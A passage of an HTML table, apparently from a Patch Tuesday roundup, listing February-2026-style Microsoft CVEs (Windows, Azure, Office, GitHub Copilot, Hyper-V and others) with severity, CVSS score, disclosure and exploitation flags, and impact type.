  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









